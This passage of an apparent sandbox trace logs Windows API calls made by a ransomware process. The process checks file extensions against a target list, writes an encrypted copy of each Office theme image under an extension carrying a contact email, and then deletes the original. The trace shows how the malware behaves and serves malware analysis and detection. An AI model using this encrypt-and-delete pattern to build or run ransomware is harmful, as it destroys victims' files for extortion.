(lpString=".docx") returned 5 [0222.258] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0222.258] lstrlenW (lpString=".pdf") returned 4 [0222.258] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0222.258] lstrlenW (lpString=".xls") returned 4 [0222.258] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0222.258] lstrlenW (lpString=".xlsx") returned 5 [0222.258] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0222.258] lstrlenW (lpString=".ppt") returned 4 [0222.258] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0222.258] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\THMBNAIL.PNG") returned 77 [0222.258] lstrlenW (lpString=".zip") returned 4 [0222.258] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0222.258] lstrlenW (lpString=".rar") returned 4 [0222.258] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0222.258] lstrlenW (lpString=".bz2") returned 4 [0222.259] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0222.259] lstrlenW (lpString=".7z") returned 3 [0222.259] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0222.259] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\THMBNAIL.PNG") returned 77 [0222.259] lstrlenW (lpString=".dbf") returned 4 [0222.259] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0222.259] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\THMBNAIL.PNG") returned 77 [0222.259] lstrlenW (lpString=".1cd") returned 4 [0222.259] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0222.259] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\THMBNAIL.PNG") returned 77 [0222.259] lstrlenW (lpString=".jpg") returned 4 [0222.259] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0222.259] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\THMBNAIL.PNG") returned 77 [0222.259] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\THMBNAIL.PNG") returned 77 [0222.259] lstrlenW (lpString=".doc") returned 4 [0222.259] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0222.259] lstrlenW (lpString=".docx") returned 5 [0222.259] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0222.259] lstrlenW (lpString=".pdf") returned 4 [0222.259] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0222.259] lstrlenW (lpString=".xls") returned 4 [0222.259] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0222.260] lstrlenW (lpString=".xlsx") returned 5 [0222.260] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0222.260] lstrlenW (lpString=".ppt") returned 4 [0222.260] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0222.260] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\THMBNAIL.PNG") returned 77 [0222.260] lstrlenW (lpString=".zip") returned 4 [0222.260] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0222.260] lstrlenW (lpString=".rar") returned 4 [0222.260] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0222.260] lstrlenW (lpString=".bz2") returned 4 [0222.260] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0222.260] lstrlenW (lpString=".7z") returned 3 [0222.260] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0222.260] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\THMBNAIL.PNG") returned 77 [0222.260] lstrlenW (lpString=".dbf") returned 4 [0222.260] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0222.260] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\THMBNAIL.PNG") returned 77 [0222.260] lstrlenW (lpString=".1cd") returned 4 [0222.260] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0222.260] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\THMBNAIL.PNG") returned 77 [0222.260] lstrlenW (lpString=".jpg") returned 4 [0222.260] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0222.260] lstrcmpiW (lpString1=".GIF", lpString2=".aa1") returned 1 [0222.260] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0222.261] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\indust\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0222.262] GetFileSizeEx (in: hFile=0x214, lpFileSize=0x2edff1c | out: lpFileSize=0x2edff1c*=5179) returned 1 [0222.262] CloseHandle (hObject=0x214) returned 1 [0222.263] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\indust\\preview.gif")) returned 0x20 [0222.263] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\PREVIEW.GIF.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\indust\\preview.gif.id-9c354b42.[who8@mail.fr].aa1")) returned 0xffffffff [0222.263] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\indust\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0222.263] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0222.263] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0222.263] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\PREVIEW.GIF.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\indust\\preview.gif.id-9c354b42.[who8@mail.fr].aa1"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x224 [0222.265] GetLastError () returned 0x0 [0222.265] ReadFile (in: hFile=0x214, lpBuffer=0x3a60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfed4, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesRead=0x2edfed4*=0x143b, lpOverlapped=0x0) returned 1 [0222.372] WriteFile (in: hFile=0x224, lpBuffer=0x3a60020*, nNumberOfBytesToWrite=0x1440, lpNumberOfBytesWritten=0x2edfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesWritten=0x2edfc9c*=0x1440, lpOverlapped=0x0) returned 1 [0222.373] ReadFile (in: hFile=0x214, lpBuffer=0x3a60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfed4, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesRead=0x2edfed4*=0x0, lpOverlapped=0x0) returned 1 [0222.373] WriteFile (in: hFile=0x224, lpBuffer=0x3a60020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2edfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesWritten=0x2edfc9c*=0xea, lpOverlapped=0x0) returned 1 [0222.374] SetEndOfFile (hFile=0x224) returned 1 [0222.374] CloseHandle (hObject=0x224) returned 1 [0222.374] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0222.374] SetEndOfFile (hFile=0x214) returned 1 [0222.637] CloseHandle (hObject=0x214) returned 1 [0222.637] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\PREVIEW.GIF.id-9C354B42.[who8@mail.fr].aa1", dwFileAttributes=0x20) returned 1 [0222.637] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\indust\\preview.gif")) returned 1 [0222.638] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\PREVIEW.GIF") returned 74 [0222.638] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\PREVIEW.GIF") returned 74 [0222.638] lstrlenW (lpString=".doc") returned 4 [0222.638] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0222.638] lstrlenW (lpString=".docx") returned 5 [0222.638] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0222.638] lstrlenW (lpString=".pdf") returned 4 [0222.638] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0222.638] lstrlenW (lpString=".xls") returned 4 [0222.638] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0222.638] lstrlenW (lpString=".xlsx") returned 5 [0222.638] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0222.638] lstrlenW (lpString=".ppt") returned 4 [0222.638] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0222.638] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\PREVIEW.GIF") returned 74 [0222.638] lstrlenW (lpString=".zip") returned 4 [0222.638] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0222.638] lstrlenW (lpString=".rar") returned 4 [0222.638] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0222.638] lstrlenW (lpString=".bz2") returned 4 [0222.638] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0222.638] lstrlenW (lpString=".7z") returned 3 [0222.638] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0222.638] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\PREVIEW.GIF") returned 74 [0222.638] lstrlenW (lpString=".dbf") returned 4 [0222.638] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0222.638] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\PREVIEW.GIF") returned 74 [0222.638] lstrlenW (lpString=".1cd") returned 4 [0222.638] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0222.639] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\PREVIEW.GIF") returned 74 [0222.639] lstrlenW (lpString=".jpg") returned 4 [0222.639] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0222.639] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\PREVIEW.GIF") returned 74 [0222.639] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\PREVIEW.GIF") returned 74 [0222.639] lstrlenW (lpString=".doc") returned 4 [0222.639] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0222.639] lstrlenW (lpString=".docx") returned 5 [0222.639] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0222.639] lstrlenW (lpString=".pdf") returned 4 [0222.646] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0222.646] lstrlenW (lpString=".xls") returned 4 [0222.646] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0222.648] lstrlenW (lpString=".xlsx") returned 5 [0222.648] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0222.648] lstrlenW (lpString=".ppt") returned 4 [0222.649] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0222.649] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\PREVIEW.GIF") returned 74 [0222.649] lstrlenW (lpString=".zip") returned 4 [0222.649] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0222.649] lstrlenW (lpString=".rar") returned 4 [0222.649] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0222.649] lstrlenW (lpString=".bz2") returned 4 [0222.649] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0222.649] lstrlenW (lpString=".7z") returned 3 [0222.649] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0222.649] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\PREVIEW.GIF") returned 74 [0222.649] lstrlenW (lpString=".dbf") returned 4 [0222.649] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0222.649] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\PREVIEW.GIF") returned 74 [0222.649] lstrlenW (lpString=".1cd") returned 4 [0222.649] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0222.649] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\PREVIEW.GIF") returned 74 [0222.649] lstrlenW (lpString=".jpg") returned 4 [0222.649] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0222.649] lstrcmpiW (lpString1=".PNG", lpString2=".aa1") returned 1 [0222.649] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0222.649] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\journal\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0222.650] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x2edff1c | out: lpFileSize=0x2edff1c*=18413) returned 1 [0222.650] CloseHandle (hObject=0x1e4) returned 1 [0222.650] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\journal\\thmbnail.png")) returned 0x20 [0222.650] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\THMBNAIL.PNG.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\journal\\thmbnail.png.id-9c354b42.[who8@mail.fr].aa1")) returned 0xffffffff [0222.650] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\journal\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0222.650] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0222.650] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0222.650] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\THMBNAIL.PNG.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\journal\\thmbnail.png.id-9c354b42.[who8@mail.fr].aa1"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x170 [0222.656] GetLastError () returned 0x0 [0222.656] ReadFile (in: hFile=0x1e4, lpBuffer=0x3a60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfed4, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesRead=0x2edfed4*=0x47ed, lpOverlapped=0x0) returned 1 [0222.718] WriteFile (in: hFile=0x170, lpBuffer=0x3a60020*, nNumberOfBytesToWrite=0x47f0, lpNumberOfBytesWritten=0x2edfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesWritten=0x2edfc9c*=0x47f0, lpOverlapped=0x0) returned 1 [0222.719] ReadFile (in: hFile=0x1e4, lpBuffer=0x3a60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfed4, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesRead=0x2edfed4*=0x0, lpOverlapped=0x0) returned 1 [0222.719] WriteFile (in: hFile=0x170, lpBuffer=0x3a60020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2edfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesWritten=0x2edfc9c*=0xec, lpOverlapped=0x0) returned 1 [0222.719] SetEndOfFile (hFile=0x170) returned 1 [0222.719] CloseHandle (hObject=0x170) returned 1 [0222.719] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0222.719] SetEndOfFile (hFile=0x1e4) returned 1 [0222.720] CloseHandle (hObject=0x1e4) returned 1 [0222.720] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\THMBNAIL.PNG.id-9C354B42.[who8@mail.fr].aa1", dwFileAttributes=0x20) returned 1 [0222.720] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\journal\\thmbnail.png")) returned 1 [0222.721] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\THMBNAIL.PNG") returned 76 [0222.721] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\THMBNAIL.PNG") returned 76 [0222.721] lstrlenW (lpString=".doc") returned 4 [0222.721] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0222.721] lstrlenW (lpString=".docx") returned 5 [0222.721] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0222.721] lstrlenW (lpString=".pdf") returned 4 [0222.721] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0222.721] lstrlenW (lpString=".xls") returned 4 [0222.721] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0222.721] lstrlenW (lpString=".xlsx") returned 5 [0222.721] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0222.721] lstrlenW (lpString=".ppt") returned 4 [0222.721] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0222.721] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\THMBNAIL.PNG") returned 76 [0222.721] lstrlenW (lpString=".zip") returned 4 [0222.721] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0222.721] lstrlenW (lpString=".rar") returned 4 [0222.721] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0222.721] lstrlenW (lpString=".bz2") returned 4 [0222.721] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0222.721] lstrlenW (lpString=".7z") returned 3 [0222.721] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0222.721] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\THMBNAIL.PNG") returned 76 [0222.721] lstrlenW (lpString=".dbf") returned 4 [0222.721] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0222.721] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\THMBNAIL.PNG") returned 76 [0222.721] lstrlenW (lpString=".1cd") returned 4 [0222.721] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0222.721] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\THMBNAIL.PNG") returned 76 [0222.722] lstrlenW (lpString=".jpg") returned 4 [0222.722] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0222.722] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\THMBNAIL.PNG") returned 76 [0222.722] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\THMBNAIL.PNG") returned 76 [0222.722] lstrlenW (lpString=".doc") returned 4 [0222.722] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0222.722] lstrlenW (lpString=".docx") returned 5 [0222.722] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0222.722] lstrlenW (lpString=".pdf") returned 4 [0222.722] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0222.722] lstrlenW (lpString=".xls") returned 4 [0222.722] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0222.722] lstrlenW (lpString=".xlsx") returned 5 [0222.722] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0222.722] lstrlenW (lpString=".ppt") returned 4 [0222.722] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0222.722] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\THMBNAIL.PNG") returned 76 [0222.722] lstrlenW (lpString=".zip") returned 4 [0222.722] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0222.722] lstrlenW (lpString=".rar") returned 4 [0222.722] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0222.722] lstrlenW (lpString=".bz2") returned 4 [0222.722] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0222.722] lstrlenW (lpString=".7z") returned 3 [0222.722] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0222.722] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\THMBNAIL.PNG") returned 76 [0222.722] lstrlenW (lpString=".dbf") returned 4 [0222.722] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0222.722] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\THMBNAIL.PNG") returned 76 [0222.722] lstrlenW (lpString=".1cd") returned 4 [0222.722] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0222.722] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\THMBNAIL.PNG") returned 76 [0222.722] lstrlenW (lpString=".jpg") returned 4 [0222.722] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0222.723] lstrcmpiW (lpString1=".PNG", lpString2=".aa1") returned 1 [0222.723] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0222.723] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\layers\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x170 [0222.731] GetFileSizeEx (in: hFile=0x170, lpFileSize=0x2edff1c | out: lpFileSize=0x2edff1c*=44850) returned 1 [0222.731] CloseHandle (hObject=0x170) returned 1 [0222.731] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\layers\\thmbnail.png")) returned 0x20 [0222.731] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\THMBNAIL.PNG.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\layers\\thmbnail.png.id-9c354b42.[who8@mail.fr].aa1")) returned 0xffffffff [0222.731] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\layers\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x170 [0222.731] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0222.731] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0222.732] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\THMBNAIL.PNG.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\layers\\thmbnail.png.id-9c354b42.[who8@mail.fr].aa1"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x21c [0222.732] GetLastError () returned 0x0 [0222.732] ReadFile (in: hFile=0x170, lpBuffer=0x3a60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfed4, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesRead=0x2edfed4*=0xaf32, lpOverlapped=0x0) returned 1 [0222.845] WriteFile (in: hFile=0x21c, lpBuffer=0x3a60020*, nNumberOfBytesToWrite=0xaf40, lpNumberOfBytesWritten=0x2edfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesWritten=0x2edfc9c*=0xaf40, lpOverlapped=0x0) returned 1 [0222.847] ReadFile (in: hFile=0x170, lpBuffer=0x3a60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfed4, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesRead=0x2edfed4*=0x0, lpOverlapped=0x0) returned 1 [0222.847] WriteFile (in: hFile=0x21c, lpBuffer=0x3a60020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2edfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesWritten=0x2edfc9c*=0xec, lpOverlapped=0x0) returned 1 [0222.847] SetEndOfFile (hFile=0x21c) returned 1 [0222.847] CloseHandle (hObject=0x21c) returned 1 [0222.847] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0222.847] SetEndOfFile (hFile=0x170) returned 1 [0222.848] CloseHandle (hObject=0x170) returned 1 [0222.848] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\THMBNAIL.PNG.id-9C354B42.[who8@mail.fr].aa1", dwFileAttributes=0x20) returned 1 [0222.848] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\layers\\thmbnail.png")) returned 1 [0222.849] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\THMBNAIL.PNG") returned 75 [0222.849] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\THMBNAIL.PNG") returned 75 [0222.849] lstrlenW (lpString=".doc") returned 4 [0222.849] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0222.849] lstrlenW (lpString=".docx") returned 5 [0222.849] 